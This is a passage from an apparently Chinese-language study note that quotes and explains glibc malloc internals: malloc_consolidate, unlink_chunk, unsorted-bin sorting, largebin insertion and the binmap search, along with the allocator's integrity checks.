 INTERNAL_SIZE_T nextsize;
 INTERNAL_SIZE_T prevsize;
 int nextinuse;

 atomic_store_relaxed (&av->have_fastchunks, false);

 unsorted_bin = unsorted_chunks(av);

 /*
 Remove each chunk from fast bin and consolidate it, placing it
 then in unsorted bin. Among other reasons for doing this,
 placing in unsorted bin avoids needing to calculate actual bins
 until malloc is sure that chunks aren't immediately going to be
 reused anyway.
 */

 maxfb = &fastbin (av, NFASTBINS - 1);
 fb = &fastbin (av, 0);
 do {
 p = atomic_exchange_acq (fb, NULL);
 if (p != 0) {
 do {
	{
	 if (__glibc_unlikely (misaligned_chunk (p)))
	 malloc_printerr ("malloc_consolidate(): "
			 "unaligned fastbin chunk detected");

	 unsigned int idx = fastbin_index (chunksize (p));
	 if ((&fastbin (av, idx)) != fb)
	 malloc_printerr ("malloc_consolidate(): invalid chunk size");
	}

	check_inuse_chunk(av, p);
	nextp = REVEAL_PTR (p->fd);

	/* Slightly streamlined version of consolidation code in free() */
	size = chunksize (p);
	nextchunk = chunk_at_offset(p, size);
	nextsize = chunksize(nextchunk);

	if (!prev_inuse(p)) {
	 prevsize = prev_size (p);
	 size += prevsize;
	 p = chunk_at_offset(p, -((long) prevsize));
	 if (__glibc_unlikely (chunksize(p) != prevsize))
	 malloc_printerr ("corrupted size vs. prev_size in fastbins");
	 unlink_chunk (av, p);
	}

	if (nextchunk != av->top) {
	 nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

	 if (!nextinuse) {
	 size += nextsize;
	 unlink_chunk (av, nextchunk);
	 } else
	 clear_inuse_bit_at_offset(nextchunk, 0);

	 first_unsorted = unsorted_bin->fd;
	 unsorted_bin->fd = p;
	 first_unsorted->bk = p;

	 if (!in_smallbin_range (size)) {
	 p->fd_nextsize = NULL;
	 p->bk_nextsize = NULL;
	 }

	 set_head(p, size | PREV_INUSE);
	 p->bk = unsorted_bin;
	 p->fd = first_unsorted;
	 set_foot(p, size);
	}

	else {
	 size += nextsize;
	 set_head(p, size | PREV_INUSE);
	 av->top = p;
	}

 } while ( (p = nextp) != 0);

 }
 } while (fb++ != maxfb);
}

malloc_consolidate 是 free() 函数的一个专门化版本，用于清理（拆解）存放在 fastbins 中的堆块。free() 函数本身不能用于此目的，主要原因之一是它可能会将堆块重新放回 fastbins 中。因此，我们需要使用一套基于相同逻辑但略有不同的变体代码。

前置处理

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


 mfastbinptr* fb; /* current fastbin being consolidated */
 mfastbinptr* maxfb; /* last fastbin (for loop control) */
 mchunkptr p; /* current chunk being consolidated */
 mchunkptr nextp; /* next chunk to consolidate */
 mchunkptr unsorted_bin; /* bin header */
 mchunkptr first_unsorted; /* chunk to link to */

 /* These have same use as in free() */
 mchunkptr nextchunk;
 INTERNAL_SIZE_T size;
 INTERNAL_SIZE_T nextsize;
 INTERNAL_SIZE_T prevsize;
 int nextinuse;

 atomic_store_relaxed (&av->have_fastchunks, false);

 unsorted_bin = unsorted_chunks(av);

atomic_store_relaxed (&av->have_fastchunks, false); 将“是否存在 Fastbin 块”的标志位重置为 false

然后获取 unsorted_bin 链表头

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


/*
 Unsorted chunks

 All remainders from chunk splits, as well as all returned chunks,
 are first placed in the "unsorted" bin. They are then placed
 in regular bins after malloc gives them ONE chance to be used before
 binning. So, basically, the unsorted_chunks list acts as a queue,
 with chunks being placed on it in free (and malloc_consolidate),
 and taken off (to be either used or placed in bins) in malloc.

 The NON_MAIN_ARENA flag is never set for unsorted chunks, so it
 does not have to be taken into account in size comparisons.
 */

/* The otherwise unindexable 1-bin is used to hold unsorted chunks. */
#define unsorted_chunks(M) (bin_at (M, 1))

翻译：所有由内存块分割产生的余块（remainders），以及所有归还的内存块（被释放的 chunks），都会首先被放入“unsorted” bin。在将它们移入常规 bin（small/large bins）之前，malloc 会给予它们仅有一次被直接使用的机会。因此，从本质上讲，unsorted_chunks 列表充当了一个队列的角色：内存块在执行 free（以及 malloc_consolidate）时被放入该队列，并在执行 malloc 时被移出该队列（移出后要么直接用于满足当前的分配请求，要么被分拣到对应的常规 bin 中）。此外，对于 unsorted 块，NON_MAIN_ARENA 标志位永远不会被设置，因此在进行内存块大小的比较时，无需考虑该标志位的影响。

unsortedbin 在 bins 中的索引为 0

取出 fastbin 链表

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


 /*
 Remove each chunk from fast bin and consolidate it, placing it
 then in unsorted bin. Among other reasons for doing this,
 placing in unsorted bin avoids needing to calculate actual bins
 until malloc is sure that chunks aren't immediately going to be
 reused anyway.
 */

 maxfb = &fastbin (av, NFASTBINS - 1);
 fb = &fastbin (av, 0);
 do {
 p = atomic_exchange_acq (fb, NULL);
 if (p != 0) {
 do {
	{
	 if (__glibc_unlikely (misaligned_chunk (p)))
	 malloc_printerr ("malloc_consolidate(): "
			 "unaligned fastbin chunk detected");

	 unsigned int idx = fastbin_index (chunksize (p));
	 if ((&fastbin (av, idx)) != fb)
	 malloc_printerr ("malloc_consolidate(): invalid chunk size");
	}

	check_inuse_chunk(av, p);
	nextp = REVEAL_PTR (p->fd);

p = atomic_exchange_acq (fb, NULL); 以原子方式，一次性拎走（提取）整条 Fastbin 链表，并同时将该 Bin 清空。

要求 p 的地址对齐 16 位

然后获取 p 中 size 的对应 index ，要求与 fastbin 索引一致

然后解码 p->fd 赋予 nextp

合并操作

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


	/* Slightly streamlined version of consolidation code in free() */
	size = chunksize (p);
	nextchunk = chunk_at_offset(p, size);
	nextsize = chunksize(nextchunk);

	if (!prev_inuse(p)) {
	 prevsize = prev_size (p);
	 size += prevsize;
	 p = chunk_at_offset(p, -((long) prevsize));
	 if (__glibc_unlikely (chunksize(p) != prevsize))
	 malloc_printerr ("corrupted size vs. prev_size in fastbins");
	 unlink_chunk (av, p);
	}

当物理上前一个 chunk 是 free 状态时，若 chunksize(p) != prevsize 检查通过，即当前 chunk 的 prevsize 与前一个 chunk 的 size 匹配，则触发 unlink_chunk

unlink_chunk 源码分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40


/* Take a chunk off a bin list. */
static void
unlink_chunk (mstate av, mchunkptr p)
{
 if (chunksize (p) != prev_size (next_chunk (p)))
 malloc_printerr ("corrupted size vs. prev_size");

 mchunkptr fd = p->fd;
 mchunkptr bk = p->bk;

 if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
 malloc_printerr ("corrupted double-linked list");

 fd->bk = bk;
 bk->fd = fd;
 if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
 {
 if (p->fd_nextsize->bk_nextsize != p
	 || p->bk_nextsize->fd_nextsize != p)
	malloc_printerr ("corrupted double-linked list (not small)");

 if (fd->fd_nextsize == NULL)
	{
	 if (p->fd_nextsize == p)
	 fd->fd_nextsize = fd->bk_nextsize = fd;
	 else
	 {
	 fd->fd_nextsize = p->fd_nextsize;
	 fd->bk_nextsize = p->bk_nextsize;
	 p->fd_nextsize->bk_nextsize = fd;
	 p->bk_nextsize->fd_nextsize = fd;
	 }
	}
 else
	{
	 p->fd_nextsize->bk_nextsize = p->bk_nextsize;
	 p->bk_nextsize->fd_nextsize = p->fd_nextsize;
	}
 }
}

校验与脱链

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


 if (chunksize (p) != prev_size (next_chunk (p)))
 malloc_printerr ("corrupted size vs. prev_size");

 mchunkptr fd = p->fd;
 mchunkptr bk = p->bk;

 if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
 malloc_printerr ("corrupted double-linked list");

 fd->bk = bk;
 bk->fd = fd;

chunksize (p) != prev_size (next_chunk (p)) 检测要求被取出块 p 的 size 与其物理相邻的高地址块的 prevsize 匹配

__builtin_expect (fd->bk != p || bk->fd != p, 0) 检测要求当前块前驱的后继和后继的前驱均为自己

校验完成，脱链

Nextsize 链表维护

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


 if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
 {
 if (p->fd_nextsize->bk_nextsize != p
	 || p->bk_nextsize->fd_nextsize != p)
	malloc_printerr ("corrupted double-linked list (not small)");

 if (fd->fd_nextsize == NULL)
	{
	 if (p->fd_nextsize == p)
	 fd->fd_nextsize = fd->bk_nextsize = fd;
	 else
	 {
	 fd->fd_nextsize = p->fd_nextsize;
	 fd->bk_nextsize = p->bk_nextsize;
	 p->fd_nextsize->bk_nextsize = fd;
	 p->bk_nextsize->fd_nextsize = fd;
	 }
	}
 else
	{
	 p->fd_nextsize->bk_nextsize = p->bk_nextsize;
	 p->bk_nextsize->fd_nextsize = p->fd_nextsize;
	}
 }

!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL 检测要求块 p 的 size 不属于 smallbin 的管辖范围，即 p 属于 largebin 的管辖范围，且 p->fd_nextsize 不为空，即 p 是该 Size 组的组长，即距离哨兵最近的那个。这确保 p 一定在 largebin 或 unsortedbin 中

而接下来的 double-link 检测则排除了 p 位于 unsortedbin 的情况，由此 p 一定在 largebin 中

fd_nextsize 和 bk_nextsize 参与构建了一个按 Size 排序的沿 bk 单调递增的不包含哨兵的双向循环链表，该链表是 largebin 链表的一个子链表，而这段代码正是维护了这个链表

合并策略

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34


	if (nextchunk != av->top) {
 nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

 if (!nextinuse) {
 size += nextsize;
 unlink_chunk (av, nextchunk);
 } else
 clear_inuse_bit_at_offset(nextchunk, 0);

 first_unsorted = unsorted_bin->fd;
 unsorted_bin->fd = p;
 first_unsorted->bk = p;

 if (!in_smallbin_range (size)) {
 p->fd_nextsize = NULL;
 p->bk_nextsize = NULL;
 }

 set_head(p, size | PREV_INUSE);
 p->bk = unsorted_bin;
 p->fd = first_unsorted;
 set_foot(p, size);
 }

 else {
 size += nextsize;
 set_head(p, size | PREV_INUSE);
 av->top = p;
 }

 } while ( (p = nextp) != 0);

 }
 } while (fb++ != maxfb);

set_head 和 set_foot 分别设置 size 和对应的 prev_size

综合该段代码和前面的分析， malloc_consolidate 的作用是：

合并策略：
- 向后看（低地址）：在进入这段代码前， p 已经和低地址块合并过了。
- 向前看（高地址）：这段代码检查 nextchunk 是否空闲，能合就合。
结果去向：
- 如果碰到了 Top Chunk $\rightarrow$ 合并进去，壮大荒野。
- 如果没碰到 Top Chunk $\rightarrow$ 塞进 Unsorted Bin，等下次 malloc 时再重新分配或归类。

总结

malloc_consolidate 会将 fastbin 中的块合并后，放入以下两个地方之一：

Unsorted Bin（绝大多数情况）
Top Chunk（如果合并后的块在物理地址上紧邻 Top Chunk）

详细的过程拆解

你可以把 malloc_consolidate 想象成一个“粉碎机”+“焊机”，它处理 fastbin 块的逻辑如下：

第一步：取样与合并

它会遍历所有的 fastbins，把里面的每一个 chunk 拿出来。拿出来之后，它不会立即给这个 chunk 找新家，而是先看它的“邻居”：

向后合并（低地址）：检查物理相邻的低地址块是否空闲。如果是，利用 prev_size 找到它，把它从它所在的 bin 中 unlink 掉，和当前块合并。
向前合并（高地址）：检查物理相邻的高地址块是否空闲。如果是，把它从所在的 bin 中 unlink 掉，和当前块合并。

第二步：根据位置决定去向

经过第一步，这个 chunk 可能已经从小碎片变成了大块。现在它面临两个选择：

并入 Top Chunk：
- 如果合并后的块，其高地址方向紧挨着 Top Chunk。
- 结果：它不会进入任何 bin，而是直接被“吸入” Top Chunk，增加 Top Chunk 的大小，并更新 av->top 的指针。
放入 Unsorted Bin：
- 如果合并后的块，其高地址方向不是 Top Chunk。
- 结果：它会被放入 Unsorted Bin。
- 注意：此时它还没有进入 Smallbin 或 Largebin。只有在接下来的 _int_malloc 循环遍历 Unsorted Bin 时，才会根据它的最终大小，把它分拣（Place）到对应的 Smallbin 或 Largebin 中。

效应

在 malloc_consolidate 运行结束后：

Fastbins：变为空（Empty）。
Unsorted Bin：多了很多合并后的中大型堆块。
Top Chunk：可能变得更大。
Small/Large Bins：此时没有任何变化（它们的变化发生在随后的 _int_malloc 流程中）。

unsortedbin 相关处理

转移准备

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


 /*
 Process recently freed or remaindered chunks, taking one only if
 it is exact fit, or, if this a small request, the chunk is remainder from
 the most recent non-exact fit. Place other traversed chunks in
 bins. Note that this step is the only place in any routine where
 chunks are placed in bins.

 The outer loop here is needed because we might not realize until
 near the end of malloc that we should have consolidated, so must
 do so and retry. This happens at most once, and only when we would
 otherwise need to expand memory to service a "small" request.
 */

#if USE_TCACHE
 INTERNAL_SIZE_T tcache_nb = 0;
 size_t tc_idx = csize2tidx (nb);
 if (tcache && tc_idx < mp_.tcache_bins)
 tcache_nb = nb;
 int return_cached = 0;

 tcache_unsorted_count = 0;
#endif

翻译：处理最近释放的（recently freed）或切分剩余的（remaindered）堆块。只有在以下两种情况时才直接取用堆块：一是大小完全匹配（exact fit）；二是对于小尺寸（small request）申请，该块是最近一次非精确匹配后切剩下的余料。将其余遍历到的堆块放入对应的 bin 中（即 Smallbin 或 Largebin）。请注意，这一步是整个分配程序中唯一一处将堆块放入（归类到）对应 bin 的地方。此处需要一个外层循环，是因为直到分配过程接近尾声时，我们才可能意识到应当进行内存合并（consolidation），此时必须执行合并并重试分配。这种情况最多只会发生一次，且仅当在不合并就必须扩展内存（即调用 sbrk/mmap）来满足“小尺寸”申请时才会触发。

同时准备把 unsortedbin 转移至 tcache

各种检查

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


 for (;; )
 {
 int iters = 0;
 while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
 {
 bck = victim->bk;
 size = chunksize (victim);
 mchunkptr next = chunk_at_offset (victim, size);

 if (__glibc_unlikely (size <= CHUNK_HDR_SZ)
 || __glibc_unlikely (size > av->system_mem))
 malloc_printerr ("malloc(): invalid size (unsorted)");
 if (__glibc_unlikely (chunksize_nomask (next) < CHUNK_HDR_SZ)
 || __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
 malloc_printerr ("malloc(): invalid next size (unsorted)");
 if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
 malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
 if (__glibc_unlikely (bck->fd != victim)
 || __glibc_unlikely (victim->fd != unsorted_chunks (av)))
 malloc_printerr ("malloc(): unsorted double linked list corrupted");
 if (__glibc_unlikely (prev_inuse (next)))
 malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");

外层 for 循环作用如翻译所言：

此处需要一个外层循环，是因为直到分配过程接近尾声时，我们才可能意识到应当进行内存合并（consolidation），此时必须执行合并并重试分配。这种情况最多只会发生一次，且仅当在不合并就必须扩展内存（即调用 sbrk/mmap）来满足“小尺寸”申请时才会触发。

内层 while 对 unsorted_chunks 作遍历，直到 unsortedbin 为空

此处针对 unsorted_chunks 的检查有：

当前 Chunk 尺寸合法性检查
下一个 Chunk 尺寸合法性检查
size 与 prev_size 的一致性检查
double linked 检查
PREV_INUSE (P) 标志位一致性检查

切割余料

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35


 /*
 If a small request, try to use last remainder if it is the
 only chunk in unsorted bin. This helps promote locality for
 runs of consecutive small requests. This is the only
 exception to best-fit, and applies only when there is
 no exact fit for a small chunk.
 */

 if (in_smallbin_range (nb) &&
 bck == unsorted_chunks (av) &&
 victim == av->last_remainder &&
 (unsigned long) (size) > (unsigned long) (nb + MINSIZE))
 {
 /* split and reattach remainder */
 remainder_size = size - nb;
 remainder = chunk_at_offset (victim, nb);
 unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
 av->last_remainder = remainder;
 remainder->bk = remainder->fd = unsorted_chunks (av);
 if (!in_smallbin_range (remainder_size))
 {
 remainder->fd_nextsize = NULL;
 remainder->bk_nextsize = NULL;
 }

 set_head (victim, nb | PREV_INUSE |
 (av != &main_arena ? NON_MAIN_ARENA : 0));
 set_head (remainder, remainder_size | PREV_INUSE);
 set_foot (remainder, remainder_size);

 check_malloced_chunk (av, victim, nb);
 void *p = chunk2mem (victim);
 alloc_perturb (p, bytes);
 return p;
 }

翻译：

如果是小尺寸请求（small request），且 Unsorted Bin 中只有一个堆块，则尝试使用‘最近一次切分剩下的余料’（last remainder）。这有助于提升连续小尺寸请求序列的局部性（locality）。这是对‘最佳适配’（best-fit）原则的唯一例外，且仅在没有找到大小完全精确匹配（exact fit）的小堆块时才会生效

触发条件：

为了不让这种例外导致严重的内存碎片，它必须满足：是 Small Request：申请的大小在 Smallbin 范围内。 Unsorted Bin 只有这一个块：如果还有别的块，说明还没分拣完，必须按规矩办事。没有 Exact Fit：如果你申请 0x20，而 Unsorted Bin 里正好有一个 0x20 的块，那肯定优先用那个，不需要切余料。

脱链，以及大小匹配情形

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34


 /* remove from unsorted list */
 if (__glibc_unlikely (bck->fd != victim))
 malloc_printerr ("malloc(): corrupted unsorted chunks 3");
 unsorted_chunks (av)->bk = bck;
 bck->fd = unsorted_chunks (av);

 /* Take now instead of binning if exact fit */

 if (size == nb)
 {
 set_inuse_bit_at_offset (victim, size);
 if (av != &main_arena)
		set_non_main_arena (victim);
#if USE_TCACHE
	 /* Fill cache first, return to user only if cache fills.
		 We may return one of these chunks later. */
	 if (tcache_nb
		 && tcache->counts[tc_idx] < mp_.tcache_count)
		{
		 tcache_put (victim, tc_idx);
		 return_cached = 1;
		 continue;
		}
	 else
		{
#endif
 check_malloced_chunk (av, victim, nb);
 void *p = chunk2mem (victim);
 alloc_perturb (p, bytes);
 return p;
#if USE_TCACHE
		}
#endif
 }

把 chunk 从 unsortedbin 脱链

若发现该 chunk 符合申请的 size ，考虑：

可以放进 tcache 则放进 tcache ，然后 continue 回去读下一个 chunk
否则直接返回该 chunk

放进 smallbin

1
2
3
4
5
6
7
8


 /* place chunk in bin */

 if (in_smallbin_range (size))
 {
 victim_index = smallbin_index (size);
 bck = bin_at (av, victim_index);
 fwd = bck->fd;
 }

该 chunk 不符合申请的 size ，但符合 in_smallbin_range ，那就先放进 smallbin

放进 largebin

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53


 else
 {
 victim_index = largebin_index (size);
 bck = bin_at (av, victim_index);
 fwd = bck->fd;

 /* maintain large bins in sorted order */
 if (fwd != bck)
 {
 /* Or with inuse bit to speed comparisons */
 size |= PREV_INUSE;
 /* if smaller than smallest, bypass loop below */
 assert (chunk_main_arena (bck->bk));
 if ((unsigned long) (size)
		 < (unsigned long) chunksize_nomask (bck->bk))
 {
 fwd = bck;
 bck = bck->bk;

 victim->fd_nextsize = fwd->fd;
 victim->bk_nextsize = fwd->fd->bk_nextsize;
 fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
 }
 else
 {
 assert (chunk_main_arena (fwd));
 while ((unsigned long) size < chunksize_nomask (fwd))
 {
 fwd = fwd->fd_nextsize;
			 assert (chunk_main_arena (fwd));
 }

 if ((unsigned long) size
			 == (unsigned long) chunksize_nomask (fwd))
 /* Always insert in the second position. */
 fwd = fwd->fd;
 else
 {
 victim->fd_nextsize = fwd;
 victim->bk_nextsize = fwd->bk_nextsize;
 if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
 malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
 fwd->bk_nextsize = victim;
 victim->bk_nextsize->fd_nextsize = victim;
 }
 bck = fwd->bk;
 if (bck->fd != fwd)
 malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
 }
 }
 else
 victim->fd_nextsize = victim->bk_nextsize = victim;
 }

否则考虑将 chunk 放入 largebin 中，并维护单调性，过程中有 double linked 审查

注意，这时候只更新了 fwd 和 bck ，还没插入 victim

while 循环收尾

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


 mark_bin (av, victim_index);
 victim->bk = bck;
 victim->fd = fwd;
 fwd->bk = victim;
 bck->fd = victim;

#if USE_TCACHE
 /* If we've processed as many chunks as we're allowed while
	 filling the cache, return one of the cached ones. */
 ++tcache_unsorted_count;
 if (return_cached
	 && mp_.tcache_unsorted_limit > 0
	 && tcache_unsorted_count > mp_.tcache_unsorted_limit)
	{
	 return tcache_get (tc_idx);
	}
#endif

#define MAX_ITERS 10000
 if (++iters >= MAX_ITERS)
 break;
 }

#if USE_TCACHE
 /* If all the small chunks we found ended up cached, return one now. */
 if (return_cached)
	{
	 return tcache_get (tc_idx);
	}
#endif

正式插入 victim ，并在 binmap 中打上标记

如果 return_cached 满足且 tcache 对从 unsortedbin 的转移做了限制且目前已超出限制，则返回之前记录的转移至 tcache 中的 chunk

设定内层 while 循环的最大迭代次数

内层 while 循环边界在此

如果我们找到的所有小块（small chunks）最终都存入了 tcache，那么现在就返回其中一个。

Binmap 相关

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


/*
 Binmap

 To help compensate for the large number of bins, a one-level index
 structure is used for bin-by-bin searching. `binmap' is a
 bitvector recording whether bins are definitely empty so they can
 be skipped over during during traversals. The bits are NOT always
 cleared as soon as bins are empty, but instead only
 when they are noticed to be empty during traversal in malloc.
 */

/* Conservatively use 32 bits per map word, even if on 64bit system */
#define BINMAPSHIFT 5
#define BITSPERMAP (1U << BINMAPSHIFT)
#define BINMAPSIZE (NBINS / BITSPERMAP)

#define idx2block(i) ((i) >> BINMAPSHIFT)
#define idx2bit(i) ((1U << ((i) & ((1U << BINMAPSHIFT) - 1))))

#define mark_bin(m, i) ((m)->binmap[idx2block (i)] |= idx2bit (i))
#define unmark_bin(m, i) ((m)->binmap[idx2block (i)] &= ~(idx2bit (i)))
#define get_binmap(m, i) ((m)->binmap[idx2block (i)] & idx2bit (i))

Binmap 是 malloc 中的一个极其高效的性能优化机制。

简单来说，它的作用是：在“箱子索引图”（binmap）中打个勾，标记第 i 号 bin 现在已经不是空的了。

在 malloc 的分配过程中，当 Unsorted Bin 里的块被分拣完后，系统需要去 Smallbins 或 Largebins 里寻找合适的块。

笨办法：从目标的 bin 开始，一个一个往后检查每个 bin 是否为空。如果连续 50 个 bin 都是空的，这种遍历会非常浪费 CPU 时间。
聪明办法（glibc 的做法）：维护一个位图（Bitmap）。每个 bit 代表一个 bin：
- 如果 bit 是 1，表示这个 bin 可能有空闲块。
- 如果 bit 是 0，表示这个 bin 一定是空的。
加速效果：通过检查位图（利用 CPU 的位运算指令，如 ffs 或 bsf），malloc 可以瞬间跳过几十个空的 bin，直接定位到最近的非空 bin

扫描 largebin

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66


 /*
 If a large request, scan through the chunks of current bin in
 sorted order to find smallest that fits. Use the skip list for this.
 */

 if (!in_smallbin_range (nb))
 {
 bin = bin_at (av, idx);

 /* skip scan if empty or largest chunk is too small */
 if ((victim = first (bin)) != bin
	 && (unsigned long) chunksize_nomask (victim)
	 >= (unsigned long) (nb))
 {
 victim = victim->bk_nextsize;
 while (((unsigned long) (size = chunksize (victim)) <
 (unsigned long) (nb)))
 victim = victim->bk_nextsize;

 /* Avoid removing the first entry for a size so that the skip
 list does not have to be rerouted. */
 if (victim != last (bin)
		 && chunksize_nomask (victim)
		 == chunksize_nomask (victim->fd))
 victim = victim->fd;

 remainder_size = size - nb;
 unlink_chunk (av, victim);

 /* Exhaust */
 if (remainder_size < MINSIZE)
 {
 set_inuse_bit_at_offset (victim, size);
 if (av != &main_arena)
		 set_non_main_arena (victim);
 }
 /* Split */
 else
 {
 remainder = chunk_at_offset (victim, nb);
 /* We cannot assume the unsorted list is empty and therefore
 have to perform a complete insert here. */
 bck = unsorted_chunks (av);
 fwd = bck->fd;
		 if (__glibc_unlikely (fwd->bk != bck))
		 malloc_printerr ("malloc(): corrupted unsorted chunks");
 remainder->bk = bck;
 remainder->fd = fwd;
 bck->fd = remainder;
 fwd->bk = remainder;
 if (!in_smallbin_range (remainder_size))
 {
 remainder->fd_nextsize = NULL;
 remainder->bk_nextsize = NULL;
 }
 set_head (victim, nb | PREV_INUSE |
 (av != &main_arena ? NON_MAIN_ARENA : 0));
 set_head (remainder, remainder_size | PREV_INUSE);
 set_foot (remainder, remainder_size);
 }
 check_malloced_chunk (av, victim, nb);
 void *p = chunk2mem (victim);
 alloc_perturb (p, bytes);
 return p;
 }
 }

如果是大尺寸请求，按排序顺序遍历当前 bin 中的堆块，以寻找满足要求的最小堆块（即最佳适配）。为此利用跳表（skip list，指 nextsize 指针链表）来实现。

如果 bin 为空，或者最大的堆块也太小（无法满足请求尺寸），则跳过扫描。

避免移除同尺寸堆块中的第一个条目（组长），这样就不必重新调整跳表（nextsize 链表）的指针指向。

如果剩余部分的大小不足以作为一个独立堆块，则将整个堆块全部分配给用户）。

如果剩余部分足够大，可以作为一个独立的堆块存在。

我们不能假设 Unsorted 链表是空的，因此必须在后续执行完整的插入操作（将切分出的余料放入 Unsorted Bin），同时记得清空 nextsize 指针。

检索 binmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107


 /*
 Search for a chunk by scanning bins, starting with next largest
 bin. This search is strictly by best-fit; i.e., the smallest
 (with ties going to approximately the least recently used) chunk
 that fits is selected.

 The bitmap avoids needing to check that most blocks are nonempty.
 The particular case of skipping all bins during warm-up phases
 when no chunks have been returned yet is faster than it might look.
 */

 ++idx;
 bin = bin_at (av, idx);
 block = idx2block (idx);
 map = av->binmap[block];
 bit = idx2bit (idx);

 for (;; )
 {
 /* Skip rest of block if there are no more set bits in this block. */
 if (bit > map || bit == 0)
 {
 do
 {
 if (++block >= BINMAPSIZE) /* out of bins */
 goto use_top;
 }
 while ((map = av->binmap[block]) == 0);

 bin = bin_at (av, (block << BINMAPSHIFT));
 bit = 1;
 }

 /* Advance to bin with set bit. There must be one. */
 while ((bit & map) == 0)
 {
 bin = next_bin (bin);
 bit <<= 1;
 assert (bit != 0);
 }

 /* Inspect the bin. It is likely to be non-empty */
 victim = last (bin);

 /* If a false alarm (empty bin), clear the bit. */
 if (victim == bin)
 {
 av->binmap[block] = map &= ~bit; /* Write through */
 bin = next_bin (bin);
 bit <<= 1;
 }

 else
 {
 size = chunksize (victim);

 /* We know the first chunk in this bin is big enough to use. */
 assert ((unsigned long) (size) >= (unsigned long) (nb));

 remainder_size = size - nb;

 /* unlink */
 unlink_chunk (av, victim);

 /* Exhaust */
 if (remainder_size < MINSIZE)
 {
 set_inuse_bit_at_offset (victim, size);
 if (av != &main_arena)
		 set_non_main_arena (victim);
 }

 /* Split */
 else
 {
 remainder = chunk_at_offset (victim, nb);

 /* We cannot assume the unsorted list is empty and therefore
 have to perform a complete insert here. */
 bck = unsorted_chunks (av);
 fwd = bck->fd;
		 if (__glibc_unlikely (fwd->bk != bck))
		 malloc_printerr ("malloc(): corrupted unsorted chunks 2");
 remainder->bk = bck;
 remainder->fd = fwd;
 bck->fd = remainder;
 fwd->bk = remainder;

 /* advertise as last remainder */
 if (in_smallbin_range (nb))
 av->last_remainder = remainder;
 if (!in_smallbin_range (remainder_size))
 {
 remainder->fd_nextsize = NULL;
 remainder->bk_nextsize = NULL;
 }
 set_head (victim, nb | PREV_INUSE |
 (av != &main_arena ? NON_MAIN_ARENA : 0));
 set_head (remainder, remainder_size | PREV_INUSE);
 set_foot (remainder, remainder_size);
 }
 check_malloced_chunk (av, victim, nb);
 void *p = chunk2mem (victim);
 alloc_perturb (p, bytes);
 return p;
 }
 }

初始化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


 /*
 Search for a chunk by scanning bins, starting with next largest
 bin. This search is strictly by best-fit; i.e., the smallest
 (with ties going to approximately the least recently used) chunk
 that fits is selected.

 The bitmap avoids needing to check that most blocks are nonempty.
 The particular case of skipping all bins during warm-up phases
 when no chunks have been returned yet is faster than it might look.
 */

 ++idx;
 bin = bin_at (av, idx);
 block = idx2block (idx);
 map = av->binmap[block];
 bit = idx2bit (idx);

 for (;; )
 {

